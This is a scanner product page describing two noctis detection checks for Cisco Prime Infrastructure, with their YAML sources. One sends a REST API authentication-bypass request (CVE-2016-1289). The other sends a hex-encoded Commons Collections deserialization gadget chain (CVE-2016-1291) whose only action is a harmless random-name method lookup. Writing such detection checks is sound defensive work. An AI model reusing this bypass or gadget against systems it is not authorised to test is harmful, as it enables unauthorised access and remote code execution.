Cisco Prime Infrastructure — 2 vulnerability checks
noctis ships 2 vulnerability checks for Cisco Prime Infrastructure, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Cisco Prime Infrastructure REST API Authentication Bypass
| CVE | CVE-2016-1289 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/cisco-prime-infrastructure/CVE-2016-1289.yaml |
Detects Cisco Prime Infrastructure and Evolved Programmable Network Manager servers whose REST API can be used without authentication. The test sends an unauthenticated GET to /webacs/api/v1/op/info/version?_docs with the header "X-HTTP-Method-Override: get": the "_docs" parameter is let through the authentication filter, and the override header makes the server run the version operation instead of returning its documentation. A finding is reported when the reply is the operation result itself (a versionInfoDTO element holding the product version), not an HTML page, which proves an authenticated API resource was read without credentials. A control request to the same operation without the bypass is sent next: when it is refused, the bypass is reported with the highest confidence; when it also returns the version, the API is reported as reachable without authentication with a lower confidence. The test only reads data and changes nothing on the target.
How noctis detects it
- HTTP(S) request
GET /webacs/api/v1/op/info/version?_docs - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /webacs/api/v1/op/info/version - Parses / computes the next value with a Rhai script
- Checks
ev.versionfor^[0-9]+(\.[0-9]+)+$→ finding QoD 97: Unauthenticated GET /webacs/api/v1/op/info/version?_docs with X-HTTP-Method-Override: get returned the version operation result (versionInf… - Checks
ev.versionfor^[0-9]+(\.[0-9]+)+$→ finding QoD 70: Cisco Prime Infrastructure REST API Reachable Without Authentication
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-1289
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160629-piauthbypass
- http://www.securityfocus.com/bid/91504
- http://www.securitytracker.com/id/1036195
Feed source — tests/vulnerabilities/cisco-prime-infrastructure/CVE-2016-1289.yaml
# Cisco Prime Infrastructure / Evolved Programmable Network Manager (EPNM) —
# REST API authentication bypass (CVE-2016-1289, cisco-sa-20160629-piauthbypass,
# Cisco bug CSCuy10227). Affected: Prime Infrastructure 1.2 through 3.0.x and
# EPNM 1.2; fixed in PI 2.2.3 Update 4 and 3.0.3 Update 2 (3.1 not affected) and
# EPNM 1.2 MP2 Patch 7.
#
# Ported from OpenVAS/Greenbone NVT
# 2016/gb_cisco_pis_cisco-sa-20160629-piauthbypass.nasl
# (OID 1.3.6.1.4.1.25623.1.0.106327, GPL-2.0-only)
#
# The API authentication filter lets through requests for the API documentation
# (the "_docs" query parameter). Adding the X-HTTP-Method-Override header makes
# the REST framework run the operation itself instead of rendering its
# documentation, so any /webacs/api/v1 resource is reachable without a login.
#
# Detection (read-only): GET /webacs/api/v1/op/info/version?_docs with
# "X-HTTP-Method-Override: get" and no credentials. A vulnerable server answers
# 200 with the operation result: <versionInfoDTO><result>3.0.0.0.78</result>
# (or its JSON form). Reading an authenticated API resource without a session
# is the exploitation itself — nothing is written on the target.
# - QoD 97: the bypass request returns the version DTO, and a control request
# to the same URI without "_docs" / the override header does not (it gets
# the expected 401), so the bypass is what opened the API.
# - QoD 70: the control request also returns the DTO — the API answers
# without authentication at all, so the bypass cannot be told apart.
#
# Better than the NASL: the NASL reports on "<versionInfoDTO>" anywhere in a
# 200 reply, which also matches a documentation page that shows a sample
# response; this feed requires a non-HTML reply carrying a DTO element with a
# numeric version (JSON rendering tolerated too), and separates the bypass from an
# API that is simply open (control request).
uid: d3ce14eb-ce13-42ca-ab5f-23a309660e1d
name: "Cisco Prime Infrastructure REST API Authentication Bypass (CVE-2016-1289)"
description: |
Detects Cisco Prime Infrastructure and Evolved Programmable Network Manager
servers whose REST API can be used without authentication. The test sends an
unauthenticated GET to /webacs/api/v1/op/info/version?_docs with the header
"X-HTTP-Method-Override: get": the "_docs" parameter is let through the
authentication filter, and the override header makes the server run the
version operation instead of returning its documentation. A finding is
reported when the reply is the operation result itself (a versionInfoDTO
element holding the product version), not an HTML page, which proves an
authenticated API resource was read without credentials. A control request
to the same operation without the bypass is sent next: when it is refused,
the bypass is reported with the highest confidence; when it also returns the
version, the API is reported as reachable without authentication with a
lower confidence. The test only reads data and changes nothing on the target.
cves: [CVE-2016-1289]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [cisco, prime-infrastructure, epnm, rest-api, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-1289"
- "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160629-piauthbypass"
- "http://www.securityfocus.com/bid/91504"
- "http://www.securitytracker.com/id/1036195"
steps:
- id: init-bypass
action: set_var
var_name: bypass
var_value: ""
- id: init-ctl
action: set_var
var_name: ctl
var_value: ""
# ── 1. Unauthenticated API call through the _docs + method-override bypass ──
- id: bypass
action: http_request
method: GET
path: "/webacs/api/v1/op/info/version?_docs"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
X-HTTP-Method-Override: "get"
Content-Type: "application/json"
store_as: bypass
# The operation result, not a documentation page: non-HTML reply holding a
# versionInfoDTO with a numeric version (XML or JSON rendering).
- id: parse
action: script
code: |
let ver = "";
if type_of(bypass) == "map" && bypass.status == 200 {
let ct = "";
if "content-type" in bypass.headers { ct = tolower(bypass.headers["content-type"]); }
if stridx(ct, "html") < 0 {
let m = eregmatch("<versionInfoDTO[^>]*>\\s*<result>\\s*([0-9]+(\\.[0-9]+)+)[^<]*</result>", bypass.body);
if m.len() > 1 { ver = m[1]; }
else {
let j = eregmatch("\"versionInfoDTO\"\\s*:\\s*\\[?\\s*\\{\\s*\"result\"\\s*:\\s*\"([0-9]+(\\.[0-9]+)+)\"", bypass.body);
if j.len() > 1 { ver = j[1]; }
}
}
}
#{ hit: ver != "", version: ver }
store_as: ev
# ── 2. Control: same operation, no _docs and no override, no credentials ───
- id: control
action: http_request
method: GET
path: "/webacs/api/v1/op/info/version"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "ev.hit"
store_as: ctl
# Fail-closed: the API counts as open only when the control reply also holds
# the version DTO; a refused / failed control leaves the bypass as the cause.
- id: parse-control
action: script
code: |
let open = false;
let st = "no reply";
if type_of(ctl) == "map" {
st = "HTTP " + ctl.status;
if ctl.status == 200 && (ereg("<versionInfoDTO[^>]*>\\s*<result>", ctl.body) || ereg("\"versionInfoDTO\"\\s*:", ctl.body)) {
open = true;
}
}
#{ open: open, status: st }
store_as: c
- id: confirm
action: match
source: ev.version
pattern: "^[0-9]+(\\.[0-9]+)+$"
condition: "ev.hit && !c.open"
on_match:
finding:
remediation: "Upgrade Prime Infrastructure to 2.2.3 Update 4 or 3.0.3 Update 2 or later (3.1 is not affected), and Evolved Programmable Network Manager to 1.2 MP2 Patch 7 or later, as listed in Cisco advisory cisco-sa-20160629-piauthbypass."
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated GET /webacs/api/v1/op/info/version?_docs with X-HTTP-Method-Override: get returned the version operation result (versionInfoDTO, version {{ev.version}}); the same request without the bypass got {{c.status}}"
stop: true
- id: open-api
action: match
source: ev.version
pattern: "^[0-9]+(\\.[0-9]+)+$"
condition: "ev.hit && c.open"
on_match:
finding:
title: "Cisco Prime Infrastructure REST API Reachable Without Authentication"
remediation: "Require authentication on the /webacs/api REST API, and upgrade Prime Infrastructure to 2.2.3 Update 4 or 3.0.3 Update 2 or later (3.1 is not affected), or Evolved Programmable Network Manager to 1.2 MP2 Patch 7 or later."
confidence_delta: 0.40
qod: 70
evidence: "Unauthenticated GET /webacs/api/v1/op/info/version (with and without the _docs / X-HTTP-Method-Override bypass) returned the version operation result (versionInfoDTO, version {{ev.version}}): the API answers without credentials"Cisco Prime Infrastructure XMP Data Handler Java Deserialization RCE
| CVE | CVE-2016-1291 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/cisco-prime-infrastructure/CVE-2016-1291.yaml |
Detects Cisco Prime Infrastructure and Evolved Programmable Network Manager servers whose XMP data handler servlet deserializes untrusted Java objects without authentication, which lets a remote attacker execute arbitrary code. The test POSTs to /xmp_data_handler_service/xmpDataOperationRequestServlet a serialized Apache Commons Collections gadget chain whose only action is to look up a public method with a random name ("Noctis" followed by random characters) on a string. The method does not exist, so a vulnerable server throws an InvokerTransformer exception naming that random method and returns it in the reply. Seeing the random name inside that exception proves the server deserialized the gadget and performed an attacker-chosen reflective method call, the primitive used for code execution. Servers with a fixed Commons Collections library refuse the gadget and are not reported. Nothing is executed, written or loaded on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Checks
verdict.hitfor^true$→ finding QoD 97: POST /xmp_data_handler_service/xmpDataOperationRequestServlet with a Commons-Collections InvokerTransformer gadget naming the random method…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-1291
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160406-remcode
- https://www.coresecurity.com/core-labs/exploits/cisco-prime-infrastructure-java-object-deserialization-remote-code-execution
Feed source — tests/vulnerabilities/cisco-prime-infrastructure/CVE-2016-1291.yaml
# Cisco Prime Infrastructure / Evolved Programmable Network Manager (EPNM) —
# unauthenticated Java deserialization RCE in the XMP data handler servlet
# (CVE-2016-1291, cisco-sa-20160406-remcode, Cisco bug CSCuw03192). Affected: Prime
# Infrastructure 1.2.0 through 2.2(2) and EPNM 1.2; fixed in PI 2.2.3 Update 4 / 3.0.2.
#
# Ported from OpenVAS/Greenbone NVT
# 2016/gb_cisco_pis_cisco-sa-20160406-remcode_remote_check.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105838, GPL-2.0-only)
# Same entry point (POST /xmp_data_handler_service/xmpDataOperationRequestServlet, no
# Content-Type) and same stream layout: writeUTF("I had something for this...") then a
# Commons-Collections gadget, and the servlet writes the exception text back in its reply.
#
# Deliberate deviations, all making the check stronger:
# * Gadget: the NASL sends ysoserial CommonsCollections3 (AnnotationInvocationHandler +
# InstantiateTransformer/TrAXFilter), which only fires on JDK < 8u71. We send the
# HashSet -> TiedMapEntry -> LazyMap chain ("CC6"), which fires on every JDK as long
# as commons-collections <= 3.2.1 is on the classpath.
# * Proof: the NASL runs "whoami" on the target and looks for the static string
# "InstantiateTransformer: Constructor threw an exception". We run nothing: the
# LazyMap factory is InvokerTransformer("Noctis<random>", [], []), so the gadget makes
# the target look up a public method with our random name on a String. It does not
# exist, so commons-collections throws
# FunctorException: InvokerTransformer: The method 'Noctis<random>' on
# 'class java.lang.String' does not exist
# and the servlet writes it back. That message is built by the target's reflective
# lookup of an attacker-chosen method (the RCE primitive), and the random marker
# rules out a static error page.
#
# Discrimination (validated against a real JDK with commons-collections 3.1 / 3.2.1 / 3.2.2,
# see infra/docker/cisco-prime-1291-mock/gen/):
# - CC <= 3.2.1 (vulnerable): FunctorException "The method '<marker>' ... does not exist"
# - CC 3.2.2 (patched): UnsupportedOperationException "Serialization support for
# ...InvokerTransformer is disabled" — no marker
# - servlet removed / authenticated: 401/403/404 — no marker
# The request never contains "The method", so a server that echoes the body cannot match.
# HTML-escaped quotes (' / ' / ') are accepted for error pages.
uid: ab47efd4-a22f-42c2-8cc0-a87cc751a072
name: "Cisco Prime Infrastructure XMP Data Handler Java Deserialization RCE (CVE-2016-1291)"
description: |
Detects Cisco Prime Infrastructure and Evolved Programmable Network Manager servers
whose XMP data handler servlet deserializes untrusted Java objects without
authentication, which lets a remote attacker execute arbitrary code. The test POSTs
to /xmp_data_handler_service/xmpDataOperationRequestServlet a serialized Apache
Commons Collections gadget chain whose only action is to look up a public method with
a random name ("Noctis" followed by random characters) on a string. The method does
not exist, so a vulnerable server throws an InvokerTransformer exception naming that
random method and returns it in the reply. Seeing the random name inside that
exception proves the server deserialized the gadget and performed an attacker-chosen
reflective method call, the primitive used for code execution. Servers with a fixed
Commons Collections library refuse the gadget and are not reported. Nothing is
executed, written or loaded on the target.
cves: [CVE-2016-1291]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
- cisco
- prime-infrastructure
- epnm
- commons-collections
- deserialization
- rce
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-1291"
- "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160406-remcode"
- "https://www.coresecurity.com/core-labs/exploits/cisco-prime-infrastructure-java-object-deserialization-remote-code-execution"
- "OpenVAS/Greenbone NASL 2016/gb_cisco_pis_cisco-sa-20160406-remcode_remote_check.nasl (OID 1.3.6.1.4.1.25623.1.0.105838, GPL-2.0-only)"
steps:
- id: gen-marker
action: script
store_as: cc
code: |
#{ marker: "Noctis" + substr(str_replace(oob_token, "-", ""), 0, 11) }
- id: init-reply
action: set_var
var_name: reply
var_value: {responded: false, response: null}
- id: init-late
action: set_var
var_name: late
var_value: {responded: false, response: null}
# writeUTF("I had something for this...") + HashSet{TiedMapEntry(LazyMap(
# InvokerTransformer(<marker>, [], [])))} produced by ObjectOutputStream
# (commons-collections 3.1, gen/GenGadget.java); only the method name string
# (TC_STRING 0x74 + u16 length + bytes) is spliced in at scan time.
- id: build-frame
action: script
store_as: req
code: |
let g = "";
g += "aced0005771d001b492068616420736f6d657468696e6720666f7220746869732e2e2e737200116a6176612e7574696c";
g += "2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368";
g += "652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39";
g += "c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f";
g += "7574696c2f4d61703b78707400066e6f637469737372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65";
g += "6374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61";
g += "70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e";
g += "6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73";
g += "666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c";
g += "000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d5479706573";
g += "7400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce";
g += "589f1073296c020000787000000000";
g += "74";
g += p16be(strlen(cc.marker));
g += hexstr(cc.marker);
g += "757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000737200116a6176612e";
g += "7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64";
g += "78703f4000000000000c77080000001000000000787878";
let blen = strlen(g) / 2;
let r = "POST /xmp_data_handler_service/xmpDataOperationRequestServlet HTTP/1.1\r\n";
r += "Host: " + target_host + ":" + port.to_string() + "\r\n";
r += "Accept: */*\r\n";
r += "Content-Length: " + blen.to_string() + "\r\n";
r += "Connection: close\r\n";
r += "\r\n";
#{ frame: hexstr(r) + g }
# Raw socket (TLS auto-wrapped on https): the body is binary.
- id: open-servlet
action: tcp_open
handle: xmp
port: "{{port}}"
timeout_secs: 10
store_as: conn
- id: send-gadget
action: tcp_send
handle: xmp
send_hex: "{{req.frame}}"
store_as: reply
# tcp_send gives up when the first reply byte takes > 500 ms; deserialization and the
# error page can be slower on a busy server. Wait, then read late bytes on the same
# socket (returns at once when the server already closed).
- id: wait-late
action: sleep
duration_ms: 3000
condition: "reply.responded == false"
- id: read-late
action: tcp_send
handle: xmp
send: ""
store_as: late
- id: close-servlet
action: tcp_close
handle: xmp
- id: verify
action: script
store_as: verdict
code: |
let body = "";
let status = "";
if type_of(reply.response) == "string" { body += reply.response; }
if type_of(late.response) == "string" { body += late.response; }
let m = eregmatch("^HTTP/[0-9.]+ ([0-9]{3})", body);
if m.len() >= 2 { status = m[1]; }
// HTTP chunk-size lines could split the message: drop them first.
body = ereg_replace("\r\n[0-9a-fA-F]{1,8}\r\n", "", body);
let q = "('|�?39;|')";
let hit = ereg("InvokerTransformer: The method " + q + cc.marker + q + " on ", body);
#{ hit: hit, status: status }
- id: confirm
action: match
source: verdict.hit
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "POST /xmp_data_handler_service/xmpDataOperationRequestServlet with a Commons-Collections InvokerTransformer gadget naming the random method {{cc.marker}}: HTTP {{verdict.status}} reply carries \"InvokerTransformer: The method '{{cc.marker}}' ... does not exist\" — the target deserialized the gadget and performed the attacker-chosen reflective call (CVE-2016-1291)"
stop: true